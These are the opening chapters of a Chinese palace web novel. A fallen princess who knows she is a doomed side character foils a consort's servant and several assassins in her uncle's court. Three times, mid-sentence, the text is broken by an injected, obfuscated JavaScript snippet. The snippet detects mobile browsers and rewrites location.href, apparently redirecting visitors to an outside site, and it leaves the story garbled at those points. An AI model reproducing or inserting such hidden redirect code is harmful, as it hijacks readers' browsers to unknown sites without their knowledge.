《万人嫌公主觉醒后》 1. 风波 第1章 李之夭十五岁那年,做了一个很长的梦。 梦里的她是一本书里为男女主铺路的女配,她性格嚣张跋扈,仗着自己有几分聪明一直目中无人,刚愎自用。 燕国城门告破那日,母妃连漱跃下城墙以死明志,燕皇被敌国将领斩杀。 那时候的燕国,本就毫无生机。 皇帝昏庸,大臣无作为,朝中小人横行,忠心的大臣心灰意冷纷纷辞官,不再过问朝堂之事。 刚及笄的她被带进敌国大魏的皇宫,成了大魏新皇感念远土亲人的象征。 大魏新皇结束两国纷乱,是大魏史书上解救百姓于水火的救世主,攻破燕国的城池一直很顺利,将士不战而降,以死殉国,甚至有百姓主动大开城门,请求留一条活路,让他们安生。 大魏新皇改年号为清武。 清武帝亦是她的舅舅,她母妃的兄长。 书里的李之夭留在大魏皇宫,一心只想复国,短短两年里没少作幺蛾子。 仗着清武帝对她宽容,胡作非为,将皇宫上下搅得乌烟瘴气。 更是听信男女主帮她复国的话,没少帮男女主做事,一直跟清武帝作对。 导致最后大魏皇城被男主带兵攻破,她去找女主要回属于原来燕国的领土时,反倒被女主毒死。 她是前朝公主,也是清武帝的外甥女。 今年是她藏拙进大魏皇宫的第二年。 因为十五岁的那个梦。 更因为母妃临死前的话。 复国? 复个屁。 当皇帝什么的最麻烦了。 顶多投靠的是她舅舅,当年她母妃作为和亲郡主去到燕国,谁曾想在那里因是异乡人没少遭受排挤。 她在燕国的宫中并不好过,迫不得已才惹是生非,想以此招燕皇的关注。 外头声音嘈杂一片,宫里嬷嬷哭喊声传来。 “李之夭这个挨千刀的,这不是要我老命么!哎哟,我的天爷啊,我这一把年纪跟骨头,要是因此事被逐出宫可让我怎么活啊!” 在她的宿宁宫里,就连最讲究颜面的宫里人,都失去了最重视的体面。 李之夭向来喜在白日里睡觉,慢条斯理穿好衣裳,简单挽了个发,才缓缓开门。 外头盛夏的热气铺面,守在外头的人面上或多或少都有些晶莹汗珠。 早上贴身宫女时雨为她端来新的冰块降温,屋里头的凉气涌出,守在门口的侍卫不由缓了口气。 地上撒泼的杜君华看见她,上前一把抓住李之夭的衣袖。 “你这个挨千刀的!快把东西还我!不然我不活了!” 守在门外的侍卫见状将人摁在地上,宫女春夏捂住了她的嘴。 李之夭一脸嫌弃拍了拍杜君华抓过的衣袖。 “那东西从护国寺而来,一颗舍利制成的珠子,舅舅已经给了我,绾妃自己想要,却找你来我门前撒野,别以为你随随便便哭哭喊喊企图引人注意我就会怕了你。” 李之夭冷嗤一声,“什么东西,进宫也有两年了,还是改不掉骨子里的那副小人气。” 她的目光落在杜君华身后,外头实在太热了,让她少了些耐心。 时雨上前为她撑伞挡住前方刺眼的阳光。 杜君华被捂着嘴说不出话来,只能发出呜呜声,断断续续的字眼从缝隙中蹦出来。 “我……你……” 地上的青石砖被太阳晒得发烫,杜君华坐在地上,滚烫的温度让她不停扭动身子,很不好受。 李之夭目光一直在她身后,像在等什么人。 杜君华是绾妃身边的人,绾妃并不是什么大户人家出身的千金小姐,是早些年清武帝养在身边的妾室,一名乡下女。 后来清武帝登基至今两年一直未曾立后,册封的时候,那名妾室为了装个样子,请太后做主给自己套了个文绉绉的头衔。 身边的人大多数是她在宫外就跟在身边,也不识礼数,仗着自己随当今圣上打江山就在的老人,没少放肆。 估摸时间差不多,李之夭挥手撤了伞和压制杜君华的手。 得到解放的杜君华立刻爬起来,恶狠狠朝李之夭扑上来,扬手就要甩她巴掌。 李之夭眼疾手快一把握住杜君华的手,反手就抽了她一巴掌,顺势将人推翻在地上。 被打急眼的杜君华面露凶相,狰狞地朝她袭来。 李之夭瞅见转角处的影子时也没还手,稍稍躲开点,借力佯装被创翻在地。 “李之夭!你这个表里不一的坏种!我今天弄死你!” 杜君华说着骑在李之夭身上,两条胳膊疯狂上下拍打着,不忘去揪她的头发。 简单的发一扯就变得乱糟糟的。 “我打死你!你跟你母亲一样是个贱人!” 春夏时雨尖叫着上前做样子拉架,都假装被杜君华打翻在地。 三天未曾清扫的宿宁宫地上落了尘,昨夜早就料到今日会有人来闹事,李之夭特意让人在地上多洒了一层灰,此时打起架来尘灰飞扬。 “住手!” 浑厚男声呵斥传来,紧接侍卫上前将杜君华拉开。 杜君华失去理智,手脚在半空中扑腾,甚至打了老太监孙广全一记耳光。 “都给我松开!李之夭我弄死你!” “大胆!你要弄死谁?” 冷静下来的杜君华看清来人后,吓得跪在地上。 “皇上恕罪!皇上恕罪!” 李之夭侧趴在地上,垂眸低头趁清武帝注意力不在自己身上时,偷偷往自己脸上用手抹了一层灰,将自己搞得更狼狈些,再抬头时她咬唇泫然欲泣,还未说话眼泪先簌簌往下掉。 “舅舅……” 她仰着一张惨白的小脸,眼泪晕开了脸上的灰。 “舅舅,那颗舍利子我不要了,给绾妃娘娘吧,我不想以后宿宁宫每日都这么不得安生,舍利子现在还未送来,要是送来了那还了得,今日杜嬷嬷打我,要我交出舍利子,日后岂不是要把我的宿宁宫给烧了?” 被押着的杜君华一脸难以置信,急忙为自己辩解:“皇上!方才她可不是这么说的!” 清武帝瞪她,脸上怒气难抑。 “朕没瞎!也不聋!” “你说她和她的母亲都是贱人这句话朕也听得清清楚楚,那是朕的妹妹,这么说朕是什么?!谁给你的胆子?” 清武帝一把揪着杜君华的衣襟,怒气腾腾,吓得杜君华差点两眼一翻晕了过去。 李之夭再抹了把眼泪,手上的灰蹭得脸更花了。 昨日清武帝刚派了孙公公传话说准备将护国寺圆寂的高僧玄心大师的舍利送她,希望高僧能保佑她平安。 也是因为李之夭过去跟玄心有交集。 李之夭故意让清武帝今日午时再送来,绾妃一定会派人来抢舍利子,一方面也是为好好治治绾妃宫里的人。 这些人实在闹得她头疼。 她在宫中藏拙装柔弱两年,很少抛头露面,也不主动惹事。 尽管身后有个清武帝,但不妨碍有人看她是前朝公主,看不顺眼的。 前朝的王公贵族都被发去做苦力,她倒是依旧衣食无忧的住在宫里。 但凡有点危机意识的大臣,都会视她为心腹大患。 可现在的她并不想复国,阻止男女主覆灭大魏,让自己活着,找个机会出宫。 现在并不是书中剧情开始的时候,但算算日子也就在这两天。 书中剧情一旦开始,日子不比现在好过。 想到这里,李之夭眼泪掉得更厉害了。 杜君华不死心结结巴巴解释道:“皇上,老奴该死,老奴该死!只不过方才宿宁公主不是这个样子的,老奴气急了才出言不逊!” 她头哐哐咂地。 “皇上,宿宁公主喊侍卫押着我,我是为了反击自保才做此行径,皇上饶命!” “侍卫?现在哪有侍卫?她是主子,你是仆,教训你也得受着!简直放肆!不知道的还以为你才是主。” 听到没侍卫杜君华猛地抬起头一看,四周除了清武帝带来的侍卫之外,哪有宿宁宫的侍卫在场。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13492865|142084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这下她是哑巴吃黄连,有苦说不出。 “老奴不敢老奴不敢!皇上给我十个胆子我也不敢!” “哼!”清武帝不打算听她继续说下去,“拖下去慎刑司重打二十大板,孙广全,你去看着!” 孙广全记着方才无缘无故挨了她一巴掌的仇,数量到了也没喊停,让慎刑司的人多打了几个板子,见人晕过去才停手派人丢回绾妃的宫苑里。 李之夭想都不用想就知道,杜君华肯定会跟绾妃告状。 前不久绾妃的女儿才被李之夭坑去书院潜心念书不得外出,现在自己人又被折腾成这样子,绾妃是个村妇,咽不下这口气,肯定会去找清武帝说理去。 当天下午绾妃气势汹汹冲到御书房跟皇上闹了一下午。 吵得宫里鸡飞狗跳。 她作为女配未觉醒的时候是她闹得宫里鸡飞狗跳,现在她不闹了。 还是有人出来闹。 李之夭沐浴后换了身干净的衣裳,原先脸上的印子都不见了。 她看向放在桌案上的舍利子。 “春夏,将它送去给绾妃。” 春夏不解:“公主,为何要送过去?” “绾妃派人来我这里闹,不就想要这东西么,她想要的我自然不会轻易看着她得到,现在她跟舅舅闹了这久,还被打了一巴掌,此时心里正对我有气,我再将东西送过去,她肯定不会轻易接受,东西还是我的。” 时雨捂嘴一笑,看向春夏:“她们秀春宫的人隔三差五就来找麻烦,公主这不过是在她们气头上再加把火而已。” 在外头,李之夭习惯将自己摆在弱势的一方。 她身份摆在这里,自己表现过于强势,更会遭人忌惮。 她只有让朝中大臣相信她不会复国,才会有更多的安生日子能过。 宫里的妃嫔不多,眼里容得下她的,自然井水不犯河水,若是容不下,就会跟绾妃一样,清武帝现在只有绾妃膝下一名公主,想巴结绾妃的便统一战线。 偶尔有人来找茬,她也乐在其中,不然一个人待在宫里,实在太闷了。 春夏去秀春宫送东西,她则带着时雨还有侍卫在宿宁宫检查院子里各处的机关。 绾妃她们小打小闹,但朝中大臣就不一样了,那是真刀真枪见血的买卖。 那些人是真的想要她死。 只有她死了,他们才安心大魏。 哪怕她再三表示自己从无复国意思。 入夜,月明星稀。 身穿玄衣头戴斗笠的少年跟在一名提灯引路的老者身后,他指尖上下抛着两枚银色的银币,银币的尾端拴着红绳,腰间银色蹀躞明亮,穿过窄巷,他们停在了一家甜水铺子前。 在甜水铺子摊位上喝着甜水的也是一名年过七旬的老翁。 少年在他身后位置上坐下,引路人在他们二人中间候着。 “客官,要喝甜水么?” 小二开口问到。 “自然。” 少年摘下斗笠放在一旁。 很快甜水端上来,少年用调羹搅着里面还未化开的糖浆。 老翁头也不抬,自顾舀着甜水喝。 “干你这行,倒是鲜少见你这样不蒙面的。” 少年握着调羹的手指修长,却布满老茧。 “见过我的,要么是长期雇主,要么已经死了。” 老翁一怔:“你倒是坦率。” “多少钱?” “看对方在你心里的价位,没有低价。” 老翁从腰间取下一个鼓鼓囊囊的袋子,放在桌上。 “画像在袋子里,我等你消息,允她留个遗言。” 老翁起身上了马车,引路人驾马离开。 远处吆喝叫卖声传来。 少年端起甜水一口闷完,拿起斗笠起身,等他将斗笠再次戴在头上之时,同桌上的袋子也消失不见。 他穿梭在华灯下,掂了掂手里钱财的分量。 五十两。 画像的人是名姑娘。 名字李之夭,宿宁公主。 2. 遗言 第2章 春夏拿红木托盛着檀木锦盒,盒子里装着的是护国寺高僧坐化后留下的舍利子,上面盖着一层红布。 她快步走到秀春宫的门口,敲响宫门,应门的嬷嬷抬着下巴,瞬间认出春夏的身份。 春夏恭敬将托盘高举过头顶,“姑姑,这是我家主子让我带来献给绾妃娘娘的。” 坐在里面的段兰之在院里乘凉,这话自然落进她耳里。 她气不过冲出来掀翻托盘。 托盘掉在地上,就连盒子里的舍利子都滚了出来。 段兰之一脚踩在托盘上,尖叫道:“李之夭还有脸给我送!滚!快滚!当我是要饭的么!是不是派你来看我笑话的!” 春夏跪在地上高声哭诉道:“绾妃娘娘息怒,我家主子知道娘娘想要舍利子,中午杜嬷嬷来的时候主子是真没这个东西,现在有了立刻马不停蹄给绾妃娘娘送来,绾妃娘娘消消气,不要再去找我家主子麻烦了。” 眼下黄昏,后宫里有些出门走动消食的妃嫔,听到秀春宫处的动静,难免留心多听了几句去。 一来二去,也就知道绾妃那边的情况,还有供在宿宁宫的那位主。 清武帝建国第二年,根基不稳,但他对后宫的要求甚少,并无太多规矩,守着规矩的人是为自家脸面,不守的更是为了舒心。 春夏回去的时候,连同绾妃不要的舍利子也一并带了回来。 李之夭看见将舍利子摆在香案上,朝它拜了三拜,便吩咐她们下去歇息了。 今夜的风很小,外头虫鸣声略显聒噪。 开着窗户,李之夭躺在床上闭目养神,旁边放着去暑的水盆,里面的冰块已全化了。 察觉绑在手指上的丝线有触动,她睁开了眼忍不住打了个哈欠。 守夜的时雨似乎也有察觉,李之夭率先捂住了她的嘴。 吹灭床头的蜡烛,她端起水盆站在暗处,瞧见人影翻窗进来,锃亮的大刀毫不犹豫砍在空无一人的床榻上。 杀手震惊之余,扑面而来一盆水,紧接一口黝黑的铁锅从暗处荡来,迎面砸来,砸得对方晕头转向。 趁他发蒙之际,时雨一脚揣在他屁股上,杀手踉跄栽倒在床上。 李之夭用被子捂住他的头,和时雨协力用铺盖和藏在褥子下的绳子一起将他像裹粽子一样裹起来。 蒙头一顿棍棒落下,直到杀手被打晕过去。 “时雨,去找禁军过来抓走!” 守在外面的春夏已被打晕过去,李之夭喊了几声都没反应。 她从外面锁好房门和门窗,守在外面,生怕杀手跑了。 这样的刺杀事件时有发生,她李之夭自从进了大魏皇宫从未懈怠过,从一开始担惊受怕到现在游刃有余面不改色,也是晚上从不敢熟睡,只敢浅眠。 她坐在门槛处等禁军来拿人,半晌不见时雨折返。 意识情况不对,李之夭打算去侍卫的房间将人叫醒。 “他们都晕过去了,别想了。” 少年坐在宫苑红墙头,迎着月光手里上下抛着两枚银币,尾端的那抹红在月光下异常惹眼,上上下下的银币锃亮。 “刺客是你派来的么?” 李之夭握紧藏在袖子里的拳头,让自己镇定下来。 他声音淡淡传来:“不是。” “你也是来杀我的人?” “是。” 李之夭仔细打量他,少年腰间没有铭牌,面上也没戴面具,或有什么遮挡,穿着打扮不像宫里人的暗卫,也不是大臣手下的杀手。 大臣身边的杀手暗卫,都需面具挡住真实面目,以防仇家认出前来寻仇。 宫里的暗卫,除了清武帝,别人没那资格。 但她是认识那些暗卫的,就算没见过他们本人的真面目,也认识腰间的铭牌。 此人衣裳虽着锦缎罗布,但料子并不是京城里布坊常见的样品。 李之夭推断他更像一名江湖人。 有人从江湖里雇了杀手。 而江湖里的人,尽管武功再高,倒是比训练过的杀手更好应付。 无非是钱财往来,讲究一个被雇佣和雇主关系。 有钱,什么都好说。 “你不是朝中大臣手底下的杀手。” 少年承认得倒也痛快,“有人五十两买你的命,允你留一句遗言。” 他指尖捏着两枚银币,目光平静看向她。 似乎想取她性命,只需一招,连剑都不愿意出。 只用那银币,堪比摘叶飞花。 “五十两?” 李之夭心里小小遗憾了一下。 她的命竟然只值五十两! 好歹也是公主,虽然是前朝的。 可皇帝是她舅舅,就不能给点面子? “我在原先的雇主上加五十两,给你一百两,让我走两步,你看我手无缚鸡之力,耍不了别的名堂。” 她可怜巴巴地仰着一张脸,眼眶通红。 少年收起银币,微微扬了扬下巴,同意了她的请求。 李之夭走到红墙附近的梧桐树下,深吸一口气朝旁边的石头,用力一拍。 然后少年坐着的围墙塌了。 他惊吓之余堪堪稳住身子,四仰八叉坐在残壁上。 李之夭走到他跟前,居高临下。 “再给你加五十两,回去杀了你身后的雇主,银子在房里,你可以自己去取。” “你是江湖人,我跟你走江湖上的路子,你既然收钱,那就得有人出钱,我再出一百五十两,买我两天这条命活着。” 他一开始敢收下钱,就说明眼前的人收钱办事,不管对方是谁。 现在一份差事,收两分钱,他怎么算都不亏。 在她这里能这样,便说明他回去找雇主,也一定会再收一次对方的钱。 买她的命。 然后那雇主是继续派他来杀她,还是换人,都是以后的事。 他微微侧头看向她,指尖再次出现一枚银币,抛出去正好落在她跟前。 “一共三百两,此币为信。” 他摊开掌心,补充道:“要银票,银子和铜钱都不行。” 李之夭目光一凝,“朝廷通缉犯?” “不是。” 少年起身拍了拍身上的灰。 李之夭问什么,他答什么,冷着一张脸,却意外坦率。 李之夭从库房里取出三张面额一百的银票的给他。 对方接过随意检查一下银票,确认无误后才收起。 “你叫什么名字?” 他迈出大门的时候,李之夭出声。 “无涯,纪无涯。” 李之夭重新坐回门槛上,春夏未有清醒的迹象,但等了半晌依旧不见时雨回来。 她只好先去后院,找到侍卫住的屋子,看看能不能把人叫醒。 推门进去发现侍卫们个个横七竖八躺在地上,她去院子里打水将他们浇醒,才得知发生什么情况。 在第一个刺客闯进来的时候他们就已经醒了,但不知被谁从背后打晕了过去。 至于是谁他们也没看清,只记得人的动作很快。 李之夭猜到是纪无涯干的。 此时时雨也带着禁军回来了。 “主子!” 她着急忙慌赶来,上前握住她的手,仔仔细细将她检查 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13492866|142084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一番,见她确实没事之后才松了口气。 “看到围墙塌了,还以为你出什么事了,没事就好。” “你可有事?” 李之夭反问。 时雨摇了摇头,“我本想去找禁军来拿人,谁知走一半被打晕过去,睁眼的时候我已在慎刑司门口。” 屋子里的杀手捆得跟蝉蛹一样,从床上挪到地面,想去捡他那把刀。 李之夭打开门锁,禁军冲进去,将他逮了个正着。 她们又带着侍卫连夜将围墙修补好,就连机关都改了一遍。 万一下次纪无涯再回来,肯定对这围墙起了戒心,招数也得换换。 天亮天牢传来消息,杀手在狱中自尽了,什么也不肯说。 朝中大臣派来的杀手皆有骨气,被抓宁愿自尽也不愿供出是谁指使,不管死了多少人仍不能阻止他们想要她死的决心,派来的人前仆后继。 李之夭回想书中是否有关于纪无涯这个人的内容,但她目前知晓的只是跟自己和主线有关的东西。 关于纪无涯这个名字,丝毫没有印象。 想必也只是个无关紧要的配角。 今年是清武二年,六月,她不记得何时会遇到女主,遇到女主的那件事模糊掉了,所以准确的时间她并不知晓,就算后续做梦也只是后面的剧情,不会再重复从前。 她绝对不能重蹈书中覆辙,否则两年的藏拙就白费了。 春夏在门口醒来的时候,揉着脖子有些发懵,发现公主跟时雨还在睡觉放轻了动作。 她们作息颠倒见怪不怪,晚上不敢轻易合眼,也只有白天才敢熟睡,换好新的冰块便去忙自己的事了。 天光泄下,早市上的人络绎不绝。 纪无涯活动胳膊从药铺里出来,手里拿着两瓶跌打损伤的药膏。 昨晚的围墙说塌就塌,起初他对宿宁公主也没什么防备,对方看上去可怜兮兮的。 他跟她掏心窝子,她对他使心眼子。 在固定地点刻上暗号,昨晚接他的老伯是在他吃完早点后出现的。 “事成了?” 纪无涯开门见山,“你家主人在何处?” “主人有事走不开,若有话可代为转达。” 纪无涯打了个呵欠,转头看向远处的宫城。 “事没成,不过对方出了一百五十两买我杀了你家主人。” 老伯惊惧,指着他怒道:“你这人怎么这么不讲道义,给你钱,反倒帮着对方来害你的雇主!” 纪无涯懒懒睨了他一眼。 “缘楼的规矩不是我的规矩。” 他给老伯端上一碗酥油茶:“陆叔,你也是跟着他老人家从缘楼出去的,尝尝这个味道跟缘楼的厨子比如何?” 陆海清接过酥油茶抿了一口,又悻悻放下。 “主人他上朝去了,十三,我知道你在找什么,但这些年了一直毫无头绪,虽说我们不属同一个分支,但这时候我不得不提醒你一句,明哲保身。” 纪无涯面不改色转移话题:“我前日得到别的消息,老和尚给我的东西从护国寺送进了宫中。” 陆海清叹了口气,神色无奈:“我会跟主人说明情况的。” “谢了。” “十三……” “陆叔,人生在世总要为自己求些什么,他老人家求仕途,我求的不过是烂命残喘,所求不同无法劝人。” 纪无涯猜到陆海清要说什么,打断他接下来的话,眼眸认真,不容置喙。 “不用送了,陆叔。” 待陆海清反应过来,跟前哪还有颀长人影,他目光急忙追去,只见微漾发尾隐没在嘈杂纷乱的人海中。 3. 女主 第3章 李之夭没想到纪无涯会这么快回来找她。 彼时她还在殿中打盹,熬了个通宵,尽管醒了,但还是感觉有股眼皮子睁不开的困意。 朦胧之际,似乎看到纪无涯坐在椅子上把玩她的那盏紫砂茶具。 她瞌睡瞬间吓得烟消云散,缩在床角用被子将自己裹个严实。 纪无涯将紫砂茶杯倒扣在托盘上,从怀中取出一把匕首插在楠木桌上,他抬眸同她对视。 这样的情况只有可能是对方再给他开出了比她更高的价,让他再来反杀她。 他身后的究竟是何人,竟然大费周折出两份钱都要他来杀她。 还不动用身边死士,宁愿找一个江湖中人,也不愿意暴露自己的身份。 李之夭也放弃了喊人进来的想法,他敢明目张胆地登堂入室,堂而皇之坐在这里,就摆明不怕外头的人。 对视的短短几瞬让她理清其中曲折,也让她做出最快的反应。 红了眼眶俨然一副受到惊吓的样子,眸子充满水雾,像一只惊慌失措地鹿。 “收了我的钱为何还要来杀我?不讲诚信,骗子。” 纪无涯一怔,眼前的人眼泪说掉就掉。 他行走江湖这么多年,最头疼怕的一件事就是姑娘掉眼泪。 明明自己什么都还没做,从进来到现在一句话都没说。 一夜未曾合眼,等她睡醒,自我感觉还算善解人意。 到头来,对方哭着指责自己。 纪无涯看她哭得梨花带雨,起了开玩笑的心思。 “公主表现未免淡定了些。” 他默默别开眼不去看那双湿漉漉的眼睛。 李之夭吸了吸鼻闭上眼睛,一副视死如归地模样,手却朝床头垂下的流苏用力一扯。 迎着纪无涯的面,忽飞去几支利箭,他侧身躲闪。 遂朝李之夭飞身而去,她慌忙爬下床躲到屏风后面,踢翻屏风,从纪无涯头顶落下一盆混着黄豆的皂水。 纪无涯尽力躲闪还是不小心踩到黄豆上脚底打滑,房梁荡来一口黝黑的铁锅朝面砸来。 他稳住身形往后滑步,坐在椅子上踹开铁锅。 与此同时,纪无涯坐的椅子下的地板忽然一空,出现一个坑,他连同椅子掉进坑里。 李之夭几乎是飞扑上前抓起托盘,朝洞口即将露出来的头狠狠一拍,像打地鼠一样将他拍了回去。 放在托盘上的茶具因她的动作摔落在地上惹出不小动静。 春夏跟时雨着急推门进来。 “主子!” 李之夭坐在地上,心有余悸拍着胸口。 “没事没事,你们快去让侍卫找根绳子来,将底下的人绑起来送给秦大统领关天牢里去。” 时雨点点头,赶忙转身去喊外头的侍卫。 春夏三步并两步来到李之夭身边,跟她一起跪在地上两个脑袋往洞里看去。 借着外头明亮的天光,差不多两米宽三米深的洞,下一秒对方睁眼想爬上来。 刚露头的纪无涯再次被李之夭拍下去倒在椅子上不省人事。 春夏感慨:“公主,手法娴熟,奴婢佩服。” 李之夭露出些许得意之色。 “这样的杀手,跟原来那些杀手不一样,武功虽然比他们高上不少,却更好对付,你知道为何?” 春夏摇摇头。 “他们未受专业训练,比那些杀手多了份人性,不然我早就在他手里死几百次了。” 她对纪无涯身后的人很感兴趣,能找上江湖人的大臣,倒是勾起她的好奇心了。 时雨带着侍卫进来,合力将洞里的人连同椅子一起钓上来。 并且把纪无涯五花大绑,捆得一个严实。 “主子!绾妃娘娘带着太后朝我们这边来了。” 李之夭看了一眼还躺在地上的纪无涯,暂时遣散侍卫关好房门,此时把人送出去她们会不依不挠往她头上扣帽子。 吩咐好李之夭出去迎客。 她不想针对段兰之,只不过段兰之在书中对李之夭的敌意被女主利用,潜移默化的让她对大魏产生厌恶。 站在立场上,女主这么做无可厚非,但不代表知道了一切的她会继续跟着剧情走。 她从女配醒悟,进了大魏的皇宫,她不会让绾妃觉得她是个好拿捏的人。 况且她就是喜欢看绾妃看她不顺眼却又干不掉她的样子。 除此之外,绾妃膝下也有位公主。 皇上给了她公主该有的待遇,但她们认为李之夭身为前朝余孽,本就不该光明正大活着,享受公主的待遇,应当在她们的脚下摇尾乞怜,夹缝求生。 她们忘了,若论血缘关系,如今的清武帝跟从前的燕国同样沾亲带故。 可就是这样的一个人,是他们尊敬的大魏皇帝。 她对燕国有感情吗? 或许是有的。 十五岁前,哪怕是个不受重视的公主,但她性子嚣张,从不把人放在眼里,高高在上。 十五岁后,她收敛起性子,把自己一直摆在弱者一方,不思进取,甚至在某些时候,可以称得上愚蠢,她努力伪装自己,就不想让人觉得她有利可图,别有居心。 觉醒后,她亦看清燕国朝中的颓败,官员无所作为,身为皇帝的父亲整日荒废朝政,沉迷炼丹,宫里奉为上宾的道士一茬又一茬,个个横行霸道。 献上来的药方图害生灵,百姓苦不堪言。 水能载舟亦能覆舟。 百姓大开城门放敌军进来的时候,她便明白,燕国气数已尽,需要有新人登高一呼,理天下太平安生。 她的头次向对她失望至极的母妃认错,跪下去磕了三个响头。 因为之前的她自作聪明,自负无理,间接成了整个朝堂小人当道的帮凶。 同时她也知道是母妃写信给的舅舅,让他救救百姓。 大军踏进城门的时候,她的母妃毅然决然跳楼殉国。 唯一的条件,就是李之夭必须体面安稳活着,不复国。 如今天下百姓逐渐步入正轨,四海升平,她有什么理由再让百姓重新卷入战火。 李之夭望着逐渐逼近的人,除了绾妃段兰之还有一名老媪,那名老媪是她的外婆,如今大魏国的太后,皇上的生母江氏。 这是她进宫两年第二次看到江氏。 第一次是在登基大典上,江氏从不正眼瞧她,也未曾对她展露过笑颜,进宫后大大小小对她的惩罚江氏未曾露面皆是由人传达。 第二次便是现在。 李之夭行礼刚想出声,谁知巴掌就落在她脸上。 “不愧是杂种生出来的女儿,皇帝忤逆我的话将你好吃好喝的留在宫里,你应该感恩戴德,不是三番两次去挑衅绾妃。” 江氏早些年是跟着丈夫在村子里种田的农媳,她舅舅高中入仕之后得丞相赏识,带着全家一起搬到京城里。 后来上战场,用军功换下全家人的锦衣玉食。 三国鼎立,燕国跟大魏常年战火,为了暂时的议和,她的母亲被先皇封为郡主,远嫁到燕国。 后面两朝局面越发混沌,她的舅舅在丞相支持下揭竿而起,才有现在的风光。 李之夭垂了垂眼眸,绾妃骂她们母女两是贱人,外婆说是她母后是杂种。 她抬起头,一改往常柔弱样子,满脸讽刺。 “您口中的女儿也是您生的,咱们骨子里的血脉归根结底是一样的。” 江氏被她气得满脸扭曲,指她怒骂。 “好啊,吃我儿的用我儿的,现在还敢顶嘴了!你娘就是这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13492867|142084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么教你的吗?” “母妃的娘怎么教她的,她就怎么教我的。” 段兰之给旁人使了眼色,太监上前揣在她腘窝上,李之夭吃痛重重跪在地上。 她高傲俯瞰,面上尽是得意。 “李之夭,你姓李,如今的皇上姓连,你跟连家没有任何关系,少来这里沾亲带故!” 段兰之微微俯身挑起李之夭的下巴,勾唇笑道:“当初皇上大军攻进燕国之时,我可听说了,你母亲以身殉国,你若是有点骨气也早该在那时候追着你们燕国皇室去了,而不是在大军前跪在皇上跟前俯首称臣,做个叛国贼!” 段兰之说完猛地甩开手,紧接着巴掌落下。 她们之前都干过农活,力气大得很,打得李之夭一阵耳鸣,脸瞬间肿起来。 李之夭暗自捏紧拳头,她不是没想过追随母妃而去,只不过每每想到母妃殉国前,回头对她说的话。 她说,“我喜欢桃花所以你叫之夭,桃花开时就是我在想你,夭夭,你要好好活着。” “夭夭,你要看着燕国百姓生活安稳,陪他们这代人走完后面的人生,亦是你活着能履行的公主义务。” “夭夭,不要复国,百姓太苦了。” 她哭喊不管怎么挽留母妃始终没能劝下她赴死殉国的决心。 大军之前,她朝那个素未蒙面的男人跪下,俯首称臣。 李之夭勾起嘴角嘲讽一笑:“可那又怎么样?我不也照样活得好好的,整日在你们眼皮子底下活蹦乱跳,明知我的身份,又拿我没办法。” 她用拇指拭去嘴角血渍站起身,看向江氏,“山鸡变凤凰,外表能装成一只凤凰,实际上还是一只山鸡。” 江氏气急败坏,冲上前挠李之夭,春夏跟时雨冲出来挡在前头。 推搡之际江氏一个踉跄跌倒在地上,她瞪大双眼站起身,变本加厉想要讨回来。 “你还愣着干什么!给我上去打她!你还是不是我连家媳妇儿!” 段兰之被她吼发懵,身体比脑子快上前抓住春夏的胳膊,想把她拉开。 跟她们一起来的宫女内官面面相觑,头次见到主子冲锋陷阵的情况纷纷低头装作看不见,大气不敢出。 哪有什么皇家威严风范,更像是村口吵架的村妇。 “这又是在闹哪出?” 清武帝的声音传来,江氏跟段兰之见皇帝来了,段兰之一改方才彪悍模样,仿佛受了天大委屈。 江氏更是一屁股坐在地上,开始哭天喊地起来。 “哎哟,我的儿啊,我不想活了,一个小辈也敢忤逆顶撞长辈,甚至动手打人,哎哟,我的儿啊,你可要为母后做主啊!” 她嚎得很大声,恨不得把整个后宫都惊动。 “你就不应该把她好吃好喝养着,养出个白眼狼,一个前朝余孽成何体统,现在她敢对我动手,以后就敢把我们连家的江山夺走!我的儿啊!这次你可要想清楚了!” 清武帝面色一僵,段兰之忙跟着江氏一起哭诉起来。 “皇上,李之夭,她姓李,不姓连,根本就不该出现在宫里,长欢跟她一个前朝余孽待在一块,日后就会被天下人诟病。” 李之夭捂着脸,跪在地上也开始哭哭啼啼。 “舅舅,都是我的错,我的身份尴尬,她们打我骂我都是应该的,舅舅若想把我派去做苦力当个洗脚洗衣的婢女我也认了,但舅舅……” 她仰起一张哭惨了的脸,眼中尽是凄楚。 “我不争不抢,只想在这宫里了此一生,所以她们平日里不管说多难听我也认了,但能不能不要说我的母亲,她是无辜的,舅舅!” 也是那一瞬间,她看到了站在清武帝身后的宫女。 目光骤然缩紧,浑身血液似乎凝固。 女主出现,剧情开始了。 4. 找茬 第4章 书中的剧情是在此时开始的。 女主苏月清是一个刚被提拔到御前伺候的绣房宫女。 